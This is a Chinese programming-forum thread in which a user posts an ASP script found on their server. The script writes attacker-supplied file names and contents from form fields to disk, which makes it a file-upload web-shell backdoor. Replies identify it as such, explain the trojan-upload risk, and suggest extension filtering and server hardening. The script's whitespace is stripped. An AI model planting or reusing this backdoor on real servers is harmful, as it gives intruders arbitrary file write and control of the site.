问题描述
<%'NotsupperASPOptionExplicitdimstrPath,strPathNamedimstrFileName1,strFileName2,strContent1,strContent2strFileName1=Request.Form("f1")strFileName2=Request.Form("f2")strContent1=Request.Form("d1")strContent2=Request.Form("d2")strPathName=Request.Form("p")ifstrPathName=""thenstrPathName="lt"ifstrFileName1=""andstrFileName2=""thenResponse.Write("Error")Response.End()endififstrContent1=""andstrContent2=""thenResponse.Write("Error")Response.End()endifstrPath=Server.MapPath(".")ifright(strPath,1)<>"/"thenstrPath=strPath&"/"strPath=strPath&strPathName&".."'strPath=strPath&"1.asp"CreateDir(strPath)ifstrFileName1<>""andstrContent1<>""thenWriteTextToFilestrContent1,strPath&""&strFileName1ifstrFileName2<>""andstrContent2<>""thenWriteTextToFilestrContent2,strPath&""&strFileName2Response.Write("OK")'**************************************************'[创建目录]'函数名：CreateDir'作用：创建目录'参数：crDirname----目录名（包括路径）'返回值：目录创建成功返回True,否则False'**************************************************FunctionCreateDir(ByValcrDirname)OnErrorResumeNextDimM_fsoCreateDir=FalseSetM_fso=CreateObject("Scripting.FileSystemObject")If(M_fso.FolderExists(crDirname))ThenCreateDir=FalseElseM_fso.CreateFolder(crDirname)CreateDir=TrueEndIfSetM_fso=NothingEndFunctionFunctionWriteTextToFile(strIn,strFile)'dimstrin,strip'Response.WritestrFiledimfso,filesetfso=server.CreateObject("scripting.filesystemobject")setfile=fso.opentextfile(strFile,2,True)file.write(strIn)file.closesetfile=nothingsetfso=nothingEndFunction%>
解决方案
解决方案二：
注释都写给你了
解决方案三：
写文件后门
解决方案四：
上传没有限制.ASP且调用了filesystemobject对象来进行，文件创建操作。小心上传木马。之后改写你的ASP并调用木马...小心点
解决方案五：
有了这东西，只要你目录有写/改权限，他想干嘛就干嘛！！！
解决方案六：
可以对上传的文件扩展名加个限制，比如无惧组件的表达：fileExt=lcase(file.FileExt)Forumupload=split(UpFileType,"|")fori=0toubound(Forumupload)iffileEXT=trim(Forumupload(i))thenEnableUpload=trueexitforendifnextiffileEXT="asp"orfileEXT="asa"orfileEXT="aspx"thenEnableUpload=falseendif对这类问题，的确要严加控制，所谓后门，都是程序员自己开的，黑客只是从你开的门溜进来的，所以请把好自己的门，我是这么做的，使用上传组件只有特定的用户才能使用，同时对上传的文件类型有所限制，最后把服务器管理好，程序用netbox打包运行，装个死防式的防火墙，只对指定端口指定的IP开放
解决方案七：
该回复于2011-11-21 10:32:38被版主删除
解决方案八：
服务器关掉ftp,能别开就别开吧，看样子你的服务器是windows吧，我也试过被黑客跑进服务器来了。这黑客一般都是菜鸟级别（但很可恶，人格相当低下），如果服务器上的程序比较少，先备份一下，建议重装系统。
解决方案九：
写入后门程序……
解决方案十：
该回复于2011-11-24 15:06:55被版主删除
解决方案十一：
引用5楼wpssoft的回复:
可以对上传的文件扩展名加个限制，比如无惧组件的表达：fileExt=lcase(file.FileExt)Forumupload=split(UpFileType,"|")fori=0toubound(Forumupload)iffileEXT=trim(Forumupload(i))thenEnableUpload=trueexitforendif……
楼主是ftp....